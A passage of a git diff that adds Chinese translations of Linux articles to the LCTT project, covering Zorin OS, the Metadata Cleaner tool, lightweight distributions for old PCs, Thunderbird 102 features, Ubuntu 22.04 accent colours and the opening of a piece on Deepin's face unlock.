+我目前还没有在我的双显示器设置上试用过 [Zorin OS][5],并分享我的经验。我将在不久之后发布一篇相关文章,敬请期待。 + +### 3. 基于 Ubuntu + +![][11] + +[Ubuntu][12] 是最受欢迎的 Linux 发行版,这归功于它的易用性和现代设计方法。 + +虽然它提供了一个完全不同的用户体验,但它支持大量的软件集合,并与大多数硬件配置兼容。 + +Zorin OS 是基于 Ubuntu 构建的,因此它能为你提供同样的好处,并且它还对用户界面和其他方面进行了调整。 + +作为基于 Ubuntu 的 Linux 发行版之一,Zorin OS 无疑是值得推荐给初学者的。 + +### 4. 专业版 + +与 Windows 相比,[使用 Linux 的好处][13] 之一是,你可以在任意数量的系统上免费安装和分发它。 + +你不需要为此购买许可证。然而,Zorin OS 也提供了一个可选的“专业”版,一次性收费约为 39 美元。 + +专业版提供了额外的壁纸、布局(类似 macOS,如上图所示),以及预装的创意和生产力软件。不用担心,所有包含的软件都是免费和开源的。 + +![][17] + +因此,通过这个专业版,你获得了更好的开箱即用的体验和一些额外的功能,与此同时,你也支持了他们的未来发展。 + +### 5. 对旧电脑的系统资源要求较低 + +与其他一些竞争者不同,Zorin OS 提供了一个由 XFCE 桌面环境驱动的独立的 [“精简版”][15]。 + +这个精简版是为在旧电脑上运行而定制的,资源占用最少。 + +如果你想为你的旧电脑注入活力,或者只是想让你的电脑消耗最少的资源,Zorin OS 精简版可能会是一个不错的选择。 + +> [获取 Zorin OS][5] + +### 总结 + +除了上面提到的几点,Zorin OS 还提供了一个教育版,专门为学校、学生和教师定制。 + +当你开始使用 Zorin OS,无论你的需求是什么,它都能在不同的使用场景中派上用场。我认为它应该是初学者的理想选择。 + +欢迎你在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/why-zorin-os-beginners/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/beautiful-linux-distributions/ +[2]: https://itsfoss.com/best-linux-beginners/ +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/zorin-os-desktop-16-lite.jpg?w=1200&ssl=1 +[4]: https://itsfoss.com/best-linux-distributions/ +[5]: https://zorin.com/os/ +[6]: https://itsfoss.com/windows-like-linux-distributions/ +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/08/zorin-photo-app.png?w=857&ssl=1 +[8]: https://itsfoss.com/use-windows-applications-linux/ +[9]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/08/slack-windows-install.png?w=943&ssl=1 +[10]: https://itsfoss.com/why-use-pop-os/ +[11]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/ubuntu-illustration.png?w=1000&ssl=1 +[12]: https://itsfoss.com/getting-started-with-ubuntu/ +[13]: https://itsfoss.com/linux-better-than-windows/ +[14]: https://zorin.com/os/pro/ +[15]: https://news.itsfoss.com/zorin-os-16-lite-release/ +[16]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/08/zorin-os-16-windows-11-layout.png?resize=1568%2C882&ssl=1 +[17]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/zorin-os-16-pro-scaled-1.jpg?w=1200&ssl=1 \ No newline at end of file diff --git a/published/202204/20220329 Metadata Cleaner- Remove Your Traces From Pictures and Documents in Linux.md b/published/202204/20220329 Metadata Cleaner- Remove Your Traces From Pictures and Documents in Linux.md new file mode 100644 index 0000000000..b0ef89ef04 --- /dev/null +++ b/published/202204/20220329 Metadata Cleaner- Remove Your Traces From Pictures and Documents in Linux.md @@ -0,0 +1,116 @@ +[#]: subject: "Metadata Cleaner: Remove Your Traces From Pictures and Documents in Linux" +[#]: via: "https://itsfoss.com/metadata-cleaner/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14437-1.html" + +Metadata Cleaner:在 Linux 中清除你在图片和文件中的痕迹 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/06/082027g9h9nzgzhw66ffhn.jpg) + +> 摆脱元数据对增强隐私至关重要。Metadata Cleaner 是一个开源的 Linux 应用,可以帮助你做到这一点。让我们在这里探讨更多。 + +元数据无处不在,它在文档中、在信息中、在图片中,在各种文件中。 + +当你检查一个文件的属性时,你可以很容易地访问元数据。 + +然而,用户在共享文件之前,往往不注重消除或摆脱元数据。主要是因为他们可能不知道有什么简单的工具可以使这项工作更容易。 + +Metadata Cleaner 就是这样一个供 Linux 用户使用的工具。 + +### Metadata Cleaner:轻松摆脱你的元数据 + +![][1] + +Metadata Cleaner 帮助你删除与元数据相关的信息的痕迹。它利用 [mat2][2] 来删除元数据。 + +换句话说,你可以将这个 GUI 当成 mat2 的前端。 + +例如,一张照片包括拍摄地点、使用的相机、镜头信息等信息。 + +虽然这对某些人来说可能是有用的信息,但如果你想保持各种细节的私密,你就需要删除元数据。 + +文件的情况也是如此。删除元数据可以确保提高隐私性,无论是对你的业务还是个人使用。 + +你可以添加目标文件,并使用 Metadata Cleaner 处理它们,使它们得到清理。 + +**注意**:在清理之前,你必须保留一份文件的备份。摆脱你的元数据可能会导致你的文件发生剧烈的变化,比如无法选择 PDF 文件中的文本,压缩图片等。 + +### Metadata Cleaner 的特性 + +![][3] + +Metadata Cleaner 是一个简单的工具,具有一些有用的功能。让我在下面提到它的主要亮点: + + * 能够添加多个文件进行清理。 + * 检查每个添加的文件的元数据信息。 + * 查看与每个添加的文件相关的元数据信息的数量。 + * 一键式清理,最大限度地去除元数据。 + * 有一个轻量级的清理模式,不会对文件造成很大影响。 + * 支持键盘快捷键。 + * 可以从内部创建一个新的窗口。 + * 你可以添加整个文件夹来处理多个文件。 + +我用一般的截图、几张照片和从网上下载的文件来开始测试。 + +![][4] + +正如你在上面的截图中注意到的,PDF 文件包含了很多关于其来源的信息。 + +这只是一个例子。同样,如果你想与某人或公众分享一个 PDF 文件,不想让别人看到它的来源信息,你可以使用 Metadata Cleaner 清理你的踪迹。 + +如前所述,如果文件对你很重要,如果清理过程以你不希望的方式影响了文件,请确保适当的备份。 + +![][5] + +你也可以使用它的轻量级清理模式,在不影响文件的情况下进行最小的元数据清除。 + +例如,我对一个 PDF 样本使用了标准清理方法,下面是它的样子: + +![][6] + +同样,在处理文档和图片时,你的大部分的基本数据会被移除。 + +### 在 Linux 中安装 Metadata Cleaner + +Metadata Cleaner 是以 [Flatpak 包][7] 的形式提供的。因此,考虑到你 [设置了 Flatpak][8] 或者你已经启用了它,你可以在任何 Linux 发行版上安装它。 + +你可以在终端使用以下命令来安装它(如果你没有软件中心集成): + +``` +flatpak install flathub fr.romainvigier.MetadataCleaner +``` + +你可以到它的 [网站][9] 或 [GitLab 页面][10] 去探索更多关于它的信息。 + +> [Metadata Cleaner][9] + +你以前尝试过清除元数据的痕迹吗?你对这个工具有什么看法?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/metadata-cleaner/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/metadatacleaner.jpg?resize=800%2C561&ssl=1 +[2]: https://0xacab.org/jvoisin/mat2 +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/metadatacleaner-3.png?resize=800%2C592&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/metadatacleaner-1.png?resize=800%2C592&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/metadatacleaner-lightweight-mode.png?resize=800%2C199&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/metadatacleaner-example.png?resize=800%2C326&ssl=1 +[7]: https://itsfoss.com/what-is-flatpak/ +[8]: https://itsfoss.com/flatpak-guide/ +[9]: https://metadatacleaner.romainvigier.fr/ +[10]: https://gitlab.com/rmnvgr/metadata-cleaner/ diff --git a/published/202204/20220330 10 Lightweight Linux Distributions for your Old Hardware in 2022.md b/published/202204/20220330 10 Lightweight Linux Distributions for your Old Hardware in 2022.md new file mode 100644 index 0000000000..e547973fc5 --- /dev/null +++ b/published/202204/20220330 10 Lightweight Linux Distributions for your Old Hardware in 2022.md @@ -0,0 +1,205 @@ +[#]: subject: "10 Lightweight Linux Distributions for your Old Hardware in 2022" +[#]: via: "https://www.debugpoint.com/2022/03/lightweight-linux-distributions-2022/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14505-1.html" + +最适合旧计算机的 10 款 Linux 发行版 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/24/183130gd7d3gl8pmi5zr0u.jpg) + +我们重点推荐 10 款轻量级 Linux 发行版,它们是 2022 年最适合旧 PC 的发行版。我们将向你们介绍它们的特色,以及为什么它们会成为复活旧硬件的完美之选。 + +我们认为你不应该扔掉任何硬件,尤其是 PC 和它的配件。在理想的情况下,设计良好的软件总是能够在任意硬件上运行。有很多专门针对旧硬件和 PC 设计的 [Linux 发行版][1] 。而你可以在这些 Linux 操作系统的帮助快速地恢复它们的活力。在这篇文章中,我们重点推荐 10 款这样的 Linux 发行版,它们是 2022 年的轻量级、对旧硬件友好的 Linux 发行版。 + +### 2022 年的 10 款轻量级 Linux 发行版 + +#### 1、Linux Lite + +在这份 2022 年的列表中,我们推出的第一款轻量级 Linux 发行版是 Linux Lite 。Linux Lite 是一款基于 Ubuntu 和 Debian 的、正在不断开发和完善的 Linux 发行版。这款有十年开发历史的 Linux 发行版非常适合于你的旧硬件,这些硬件需要适用且设计良好的发行版。该开发团队将这个发行版作为那些硬件不再被 Windows 所支持的用户的理想起点。这个发行版的主要优势是良好的自定义和极好看的 Xfce 桌面,并基于 Ubuntu,采用了最新的内核,当然,它还有一个 32 位 ISO 镜像。 + +![Linux Lite][2] + +特点: + + * 基于 Ubuntu + * 自定义的 Xfce 桌面环境 + * 原生应用程序 + * 支持 32 位 + * 积极开发 + * 最小系统要求 1 GB 内存 + +> **[下载 Linux Lite][3]** + +#### 2、Puppy Linux + +在这份列表中的第二个重要的发行版是 Puppy Linux 。Puppy Linux 与传统发行版稍有不同。它被设计成在内存中运行,而不需要安装在物理机系统中。如果配置得当,你可以保存会话,此外,即使你移除了可启动介质,它也可以继续很好地工作。 + +![Puppy Linux – one of the best lightweight Linux Distribution in 2022][4] + +这个 Linux 发行版与 Ubuntu 的 LTS 版本的二进制文件是兼容的;其最新的版本基于 Ubuntu 20.04 LTS。因为 Ubuntu 放弃了 32 位的支持,所以其最新版本也放弃了 32 位的支持。 + +Puppy Linux 非常适合于旧计算机、上网本以及内存小于 1GB 的机器。在其核心,运行着超快速的 JWM(Jow’s Window Manager)。Puppy 软件包管理器支持 .deb 、.rpm 及其原生的 PET 软件包。 + +总的来说,它是一款完美的、精心设计的 Linux 发行版,毫无疑问适合于旧硬件。 + +特点: + + * 基于 Ubuntu LTS 版本 + * 能够在低端的上网本上运行 + * 即使移除可启动介质后,也可以直接在内存中运行 + * 特有的软件包管理器 – Puppy 软件包管理器 + * JWM 窗口管理器 + +> **[下载 Puppy Linux](https://puppylinux.com)** + +#### 3、BunsenLabs Linux + +在这份列表中的第三款轻量级 Linux 发行版是 BunsenLabs Linux ,它是 Crunchbang 项目的继任者。BunsenLabs Linux 基于 Debian 稳定分支,为你的低端系统带来了现代应用。这个发行版为低端硬件提供了一个 32 位版本的镜像,并为你的常规硬件提供一个标准的 64 位版本的镜像。在其核心,BunsenLabds 由一个预配置的 OpenBox 窗口管理器所驱动,并带有令人惊艳的 tint2 面板、预配置的 Conky 和 jgmenu 。 + +![BunsenLabs Linux][5] + +这是一款针对旧硬件的、设计良好、速度超快、稳定且外观漂亮的发行版。 + +特点: + + * 基于 Debian 稳定分支 + * Openbox 窗口管理器,附带 tint2 面板、Conky 和 jgmenu + * 提供 32 位安装程序 + * 可以通过官方论坛获取帮助和支持 + +> **[下载 BunsenLabs Linux][6]** + +#### 4、Lubuntu + +Lubuntu 是一款著名的轻量级 Linux 发行版。它是一款官方的 Ubuntu Linux 衍生版本,其特点是使用轻量级 LxQt 桌面环境。Lubuntu 在给予你现代的 Ubuntu Linux 软件包和技术的同时,也针对你的低端硬件提供了 LxQt 桌面环境。尽管与这份列表中的其它的发行版相比,它可能需要更多的一些系统资源,但是对于旧硬件来说,它仍然是一个适合的 Linux 发行版。 + +![Lubuntu][7] + +如果你需要一款稳定且开箱即用的适中量级的 Linux 发行版,那么,请选择 Lubuntu 。 + +> **[下载 Lubuntu][8]** + +#### 5、Absolute Linux + +第五款轻量级 Linux 发行版是 Absolute Linux ,它基于 Slackware Linux 。这个发行版在其安装程序镜像中打包了所有日常需要的应用程序,以便你可以获得一款开箱即用的发行版。Absolute Linux 以使用 IceWM 和 ROX 桌面环境为特色,在旧硬件中使用它们时,能为你带来极致的速度。它不使用 systemd,这为它提供了比其他发行版更多的优势。 + +![Absolute Linux][9] + +特点: + + * 基于 Slackware + * 不使用 systemd + * 打包了必要的软件包 + * IceWM 桌面环境、Slapt-get 软件包管理器 + +> **[下载 Absolute Linux][10]** + +#### 6、antiX Linux + +我们想重点推荐的另一款轻量级 Linux 发行版是 antiX Linux 。antiX Linux 基于 Debian 稳定分支,并带来一些吸引人的功能。在其核心,它使用 IceWM、Fluxbox 和 ROX 桌面环境,给予你一种优秀而快速的桌面体验。它完全没有使用 systemd,而是使用 sysVinit 和 runit 系统。antiX Linux 还为你提供了 32 位安装程序,并且还四个变体 – 完全版、核心版、基本版以及网络版,以满足不同的实际使用情况。 + +![antiX Linux][11] + +特点: + + * 基于 Debian 稳定分支 + * 32 位安装程序 + * 不使用 systemd + * IceWM 及其它的窗口管理器衍生特色版本 + +> **[下载 antiX Linux][12]** + +#### 7、LXLE + +LXLE Linux 是 Lubuntu LTS 的一个变体,使用 LXDE 桌面环境而非 LXQt 桌面环境。其对应用程序、安装程序以及其它功能的选择,使其成针对旧硬件的一款完美的发行版。它基于稳定的 Ubuntu LTS 版本,是以快速的 LXDE 桌面环境来复兴你的旧系统的理想选择。 + +![LXLE Linux][13] + +然而,就我个人见解,我感觉 LXQt 比 LXDE 稍快一点。好吧,这种反馈可能是因人而异的,对你来说可能是不同的。现在,没有多少 Linux 发行版能向你提供 LXDE 桌面环境的衍生版本。因此,对于日常使用的来说,它可能是一款独特的轻量级的 Linux 发行版。 + +> **[下载 LXLE][14]** + +#### 8、Porteus Linux + +Porteus Linux 是 Slackware Linux 的翻版,以旧的 KDE 4.0+ 桌面环境(KDE Plasma 系列之前的版本)为特色。这款超快的 Linux 发行版非常适合你的古董硬件,因为它基于最先进的 Slackware ,并且向你提供了 32 位版本。这款发行版可以从现场 USB/CD 或任意可启动介质运行,安装程序仅 300 MB 大小。 + +如果你喜欢老款 KDE(像我一样!)和 Slackware 的简单易用,对你来说这将会是一个完美的发行版,甚至针对你的新硬件也是一样。 + +![Porteus Linux][16] + +> **[下载 Porteus Linux][17]** + +#### 9、Q4OS + +Q4OS 是这份列表中的一款独特的 Linux 发行版。它针对的是现今已经过时的旧 Windows 系统。曾经很多运行过 Windows XP 和 Windows 7 的老式 PC,它们不再能很好地运行 Windows 和一些现代的 Linux 发行版,因为现代的操作系统要求更多的计算能力和资源。 + +Q4OS 针对这些实际使用实例,给予你一款精心设计的 Linux 发行版,附带有 32 位安装程序、 Windows 安装程序、Trinity 桌面环境,以及预制的 Windows 主题等。 + +![Q4OS][18] + +> **[下载 Q4OS][19]** + +#### 10、MX Linux + +在这份列表中的最后一款 Linux 发行版是著名的 MX Linux ,它凭借其特色和独特性在当今时代打响了知名度。然而,我都怀疑是否应该将 MX Linux 列为轻量级。因为在我看来,如果你考虑到它的 KDE Plasma 衍生版本,它应该是中等量级的 Linux 发行版。 + +![MX Linux][20] + +不管怎么说,它的一些特色使其成为一款轻量级 Linux 发行版的完美候选版本。MX Linux 基于 Debian 稳定分支,并使用了 antiX 组件创建。它的特点是有自己的用于更多工作流的 MX Linux 原生应用程序。你可以使用 KDE Plasma 、Xfce 和 Fluxbox 作为桌面环境。 + +> **[下载 MX Linux][21]** + +### 总结 + +如果你仔细观察就会发现,我们在这里所列出的大多数的轻量级 Linux 发行版都基于 Debian Linux 的。它是真正的 “通用操作系统”。现代的 Linux 桌面环境,像 GNOME 40+ 、KDE Plasma 和 Systemd 初始化系统,已经不再兼容旧硬件。此外,随着技术的进步,引入了更多的软件复杂性,需要更高端的硬件。 + +尽管如此,我希望你可以从这份列表中找到一些为你的旧笔记本电脑或 PC 选择轻量级 Linux 发行版的灵感。每一款发行版都提供了不同的体验,但是都有共同的目标:让你的旧硬件恢复活力。所以,任君采撷。 + +感谢阅读,请发表你的评论。如果这对你有所帮助,那怕说声“谢谢”也是好的。 + +*一些图像文件的版权: 各自的 Linux 发行版* + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/03/lightweight-linux-distributions-2022/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/category/distributions +[2]: https://www.debugpoint.com/wp-content/uploads/2022/03/Linux-Lite-1024x576.jpg +[3]: http://www.linuxliteos.com/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/03/Puppy-Linux-one-of-the-best-lightweight-Linux-Distribution-in-2022-1024x579.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/03/BunsenLabs-Linux.jpg +[6]: https://www.bunsenlabs.org/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/03/Lubuntu-1024x576.jpg +[8]: https://lubuntu.me/ +[9]: https://www.debugpoint.com/wp-content/uploads/2022/03/Absolute-Linux-1024x640.jpg +[10]: https://www.absolutelinux.org/ +[11]: https://www.debugpoint.com/wp-content/uploads/2022/03/antiX-Linux-1024x640.jpg +[12]: https://antixlinux.com/ +[13]: https://www.debugpoint.com/wp-content/uploads/2022/03/LXLE-Linux-1024x576.jpg +[14]: http://www.lxle.net/ +[15]: https://www.debugpoint.com/2022/01/best-gnome-apps-part-3/ +[16]: https://www.debugpoint.com/wp-content/uploads/2022/03/Porteus-Linux-1024x576.jpg +[17]: http://www.porteus.org/ +[18]: https://q4os.org/style/image5.jpg +[19]: https://q4os.org/ +[20]: https://www.debugpoint.com/wp-content/uploads/2022/03/MX-Linux-1-1024x515.jpg +[21]: https://mxlinux.org/ +[22]: https://www.debugpoint.com/tag/top-10-list +[23]: https://t.me/debugpoint +[24]: https://twitter.com/DebugPoint +[25]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[26]: https://facebook.com/DebugPoint diff --git a/published/202204/20220330 Thunderbird 102 is Getting Several Exciting New Features- Here Are 7 of Them.md b/published/202204/20220330 Thunderbird 102 is Getting Several Exciting New Features- Here Are 7 of Them.md new file mode 100644 index 0000000000..5624aa0d41 --- /dev/null +++ b/published/202204/20220330 Thunderbird 102 is Getting Several Exciting New Features- Here Are 7 of Them.md @@ -0,0 +1,129 @@ +[#]: subject: "Thunderbird 102 is Getting Several Exciting New Features! Here Are 7 of Them" +[#]: via: "https://news.itsfoss.com/thunderbird-102-features/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14421-1.html" + +7 个 即将发布的 Thunderbird 102 版本的新功能 +====== + +> Thunderbird 102 将带来有用的新功能以及 UI/UX 升级。在此查看其中最精彩的内容! + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/thunderbird-102.jpg?w=1200&ssl=1) + +毫无疑问,Thunderbird 是 Linux 上最好的 [电子邮件客户端][1] 之一。 + +它是 Mozilla 基金会的一个开源产品,是一个具有强大功能的可靠的电子邮件客户端。 + +在 [最近的更新][2] 中,它已经新增了一些功能以及视觉上的改进。 + +现在,随着 Thunderbird 102 版本即将发布,它将添加更多激动人心的功能。 + +在一条 [推特讨论][3] 中,Thunderbird 分享了所有关于此次更新的信息。我在这里挑选其中的关键亮点介绍一下。 + +### Thunderbird 102:更新了什么? + +Thunderbird 102 版本将是一次重大升级,它增加了一些有用的功能,[预期发布时间][4] 为 2022 年 6 月 28 日。其中包括下面这几个变化: + + * 空间工具栏 + * 新的地址簿 + * 支持 Matrix 协议 + * 链接预览卡片 + * 账户设置中心 + * 导入/导出 + * 重新设计的邮件标题栏 + +这听起来不错吧,这里还有一些关于以上变化的更多细节。 + +### 1. 空间工具栏 + +新的“空间工具栏Spaces Toolbar”位于左边的侧边栏中,它将不同的活动以图标的形式分隔开来。 + +![][5] + +你可以更容易地在电子邮件客户端内的多个标签间导航,也可以更容易地管理它们。 + +你也可以折叠工具栏,让它作为一个图标显示在标签栏中,为你节省一些屏幕空间。 + +![][6] + +### 2. 新的地址簿 + +![][7] + +地址簿有了新的外观,它应该能帮助你轻松找到你的联系人,并与他们进行互动。 + +联系人信息的整体布局看起来更容易访问,它提供了你想知道的所有细节,理应也能为你提供良好的用户体验。 + +### 3. 支持 Matrix 协议 + +Matrix 是一个流行的分布式开源聊天协议。因此,在 Thunderbird 102 版本中,你将能够开箱即用 Matrix 的聊天功能,非常轻松。 + +Matrix 最初只在测试版中作为实验性功能提供。 + +你可以期待它在未来的进一步完善。 + +### 4. 链接预览卡片 + +![][8] + +链接预览将帮助用户建立对链接内容的预期,有助于改善用户体验。 + +而且,对于像 Thunderbird 这样的直截了当的电子邮件客户端,我从未指望它会提供链接预览这样的功能,直到现在。 + +每当你在电子邮件编辑器email composer中添加一个链接时,你都可以选择将其转换为丰富的链接预览。 + +### 5. 账户设置中心 + +![][9] + +对于任何服务/应用程序来说,有一个简单的设置过程都是极其重要的。 + +Thunderbird 102 版本改进了所有账户设置功能的体验,如添加账户、管理日历、导入配置文件等。 + +### 6. 默认的导入/导出功能 + +到目前为止,你都必须依靠一个插件来导入/导出个人资料数据。 + +而在 Thunderbird 102 版本中,导入/导出功能将是开箱即用的,无需使用附加组件。 + +### 7. 重新设计的邮件标题 + +邮件的标题/主题得到了细微的升级,以更好地突出重要信息,并使其在导航时能够快速响应。 + +![][10] + +### 其他变化 + +除了以上的关键亮点外,你还可以得到许多技术升级和错误修复。 + +例如,OpenPGP 的用户体验和用户交互也得到了升级,同时还有一个新的存储格式:Maildir。 + +你对 Thunderbird 102 版本即将新增的功能有什么看法吗?你对 Thunderbird 的用户体验/用户交互升级感到兴奋吗?请在下方的评论区中说说你的想法,或只是简单说声“谢谢”。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/thunderbird-102-features/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-email-clients-linux/ +[2]: https://news.itsfoss.com/thunderbird-91-release/ +[3]: https://twitter.com/mozthunderbird/status/1508662633292959747 +[4]: https://thunderbird.topicbox.com/groups/planning/Tba7050ab1a565370-M100ace32c2769d192ef79e55/whats-coming-in-thunderbird-102 +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/thunderbird-102-spaces.jpg?w=1200&ssl=1 +[6]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/thunderbird-102-spaces-1.jpg?w=607&ssl=1 +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/thunderbird-102-addressbook.jpg?w=1200&ssl=1 +[8]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/thunderbird-102-link-preview.jpg?w=1200&ssl=1 +[9]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/thunderbird-102-account-setup.jpg?w=1200&ssl=1 +[10]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/thunderbird-102-header.jpg?w=1280&ssl=1 diff --git a/published/202204/20220331 Add Some Colors to Your Ubuntu Desktop With the new Accent Color Options in Ubuntu 22.04.md b/published/202204/20220331 Add Some Colors to Your Ubuntu Desktop With the new Accent Color Options in Ubuntu 22.04.md new file mode 100644 index 0000000000..fd1ef182d5 --- /dev/null +++ b/published/202204/20220331 Add Some Colors to Your Ubuntu Desktop With the new Accent Color Options in Ubuntu 22.04.md @@ -0,0 +1,68 @@ +[#]: subject: "Add Some Colors to Your Ubuntu Desktop With the new Accent Color Options in Ubuntu 22.04" +[#]: via: "https://itsfoss.com/accent-color-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14441-1.html" + +在 Ubuntu 22.04 中使用新的强调色 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/07/101359xle6lahli57665gg.jpg) + +传统上,Ubuntu 一直使用橙色和紫红色的强调色。如果你想在不改变 Yaru 主题的情况下添加一个不同的颜色主题,可以选择使用由第三方提供的 [名为 Yaru 颜色的主题][1]。 + +但是这一点随着 Ubuntu 22.04 的到来而改变。从即将推出的新的 LTS 开始,你将能够改变你的 Ubuntu 桌面的强调色,而不需要任何额外的工具。 + +这个选项在系统设置中就有。 + +### 改变 Ubuntu 22.04 的强调色 + +我已经在使用 Ubuntu 22.04 预发布版本。你还不会得到这个版本,但已经确定会有这个 [Ubuntu 22.04 新功能][2]。 + +在设置中,在外观标签下,你会看到颜色选项。它将给你十个颜色选项,包括默认的橙色、树皮色、鼠尾草色、橄榄色、铬绿、普鲁士绿、蓝色、紫色、洋红色和红色。 + +你可以从这里选择你喜欢的颜色。 + +![Changing accent colors in Ubuntu 22.04][3] + +它改变了什么?所有你在桌面上有橙色元素的地方。所以,文件夹的颜色会被改变,以及日历条目、软件中心的标志、浏览器中的文本选择高亮等等。 + +![Effect of accent color change][4] + +这段视频展示了所有强调色的作用。 + +![video](https://player.vimeo.com/video/694093720) + +你应该将颜色与浅色和深色主题结合起来。有些颜色在浅色主题下看起来不错,而有些则在深色主题下看起来更好。 + +### 改变强调色还是坚持使用默认颜色? + +![Accent color option in elementary OS 6][5] + +最近,Linux Mint 和 elementary OS 开始提供强调色选项。Ubuntu 也在加入这个行列。 + +就我个人而言,我一直将橙色与 Ubuntu 的身份联系在一起。我不确定我是否会使用不同的颜色,但有选择总是好的。 + +你呢?你是否期待使用 Ubuntu 22.04 中的强调色,还是坚持使用默认的橙色?请在评论区分享你的观点。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/accent-color-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/folder-color-ubuntu/ +[2]: https://linux.cn/article-14177-1.html +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/accent-colors-ubuntu-22-04.png?resize=800%2C572&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/changed-accent-color-ubuntu-22-04.png?resize=797%2C453&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/accent-colors-elementary-os-6.webp?resize=780%2C667&ssl=1 diff --git a/published/202204/20220401 Deepin OS Becomes the First Linux Distro to Offer Face Unlock.md b/published/202204/20220401 Deepin OS Becomes the First Linux Distro to Offer Face Unlock.md new file mode 100644 index 0000000000..6b75610eeb --- /dev/null +++ b/published/202204/20220401 Deepin OS Becomes the First Linux Distro to Offer Face Unlock.md @@ -0,0 +1,98 @@ +[#]: subject: "Deepin OS Becomes the First Linux Distro to Offer Face Unlock" +[#]: via: "https://news.itsfoss.com/deepin-os-20-5-release/" +[#]: author: "Abhishek https://news.itsfoss.com/author/root/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14425-1.html" + +深度操作系统成为首个支持人脸解锁的 Linux 发行版 +====== + +> 在提供现代桌面体验方面,深度占据了领先地位。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/04/deepin-20-5-release.png?w=1200&ssl=1) + +在深度问世时,人们都为它纯粹的漂亮界面而惊叹。 + +随着时间的推移,开发人员越来越有经验,他们把重点转移到了系统设计和功能上,力求在这些方面和其他的商业操作系统看齐,我指的是 Windows 和 macOS。深度是首个支持安卓应用和云同步等功能的发行版。 + 